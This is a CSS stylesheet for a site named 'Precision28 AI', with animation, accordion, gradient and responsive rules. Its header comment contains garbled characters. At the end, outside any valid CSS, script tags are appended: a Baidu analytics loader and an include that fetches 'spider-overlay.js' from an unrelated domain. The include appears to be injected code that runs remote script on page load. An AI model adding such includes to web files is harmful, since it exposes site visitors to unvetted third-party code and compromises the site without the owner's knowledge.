/* Precision28 AI 鈥?Custom Styles */
/* These supplement Tailwind CDN for animations and fine-grained control */

/* ========== Base & Body ========== */
html { scroll-behavior: smooth; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'PingFang SC', 'Microsoft YaHei', 'Helvetica Neue', sans-serif; }

/* ========== Navbar backdrop blur fallback ========== */
nav { -webkit-backdrop-filter: blur(12px); }

/* ========== Feature card animations ========== */
.feature-card {
  opacity: 0;
  transform: translateY(18px);
  transition: opacity 0.5s ease, transform 0.5s ease, box-shadow 0.3s, border-color 0.3s;
}
.feature-card.visible { opacity: 1; transform: translateY(0); }

/* ========== Stats item animations ========== */
.stat-item {
  opacity: 0;
  transform: translateY(18px);
  transition: opacity 0.5s ease, transform 0.5s ease;
}
.stat-item.visible { opacity: 1; transform: translateY(0); }

/* ========== Testimonial card animations ========== */
.testimonial-card {
  opacity: 0;
  transform: translateY(18px);
  transition: opacity 0.5s ease, transform 0.5s ease, box-shadow 0.3s, border-color 0.3s;
}
.testimonial-card.visible { opacity: 1; transform: translateY(0); }

/* ========== FAQ accordion ========== */
.faq-item.open .faq-btn i { transform: rotate(180deg); }
.faq-item.open .faq-answer { max-height: 200px !important; }
.faq-btn i { transition: transform 0.3s ease; }

/* ========== Hero data dots animation ========== */
.hero-section span[class*="rounded"] {
  transition: all 0.4s ease;
}

/* ========== CTA gradient ========== */
#cta {
  background: linear-gradient(135deg, #2e1065, #4c1d95, #6d28d9, #7c3aed);
}

/* ========== Footer links ========== */
footer a { transition: color 0.2s ease; }

/* ========== Responsive ========== */
@media (max-width: 768px) {
  .hero-section { background-position: top center; }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>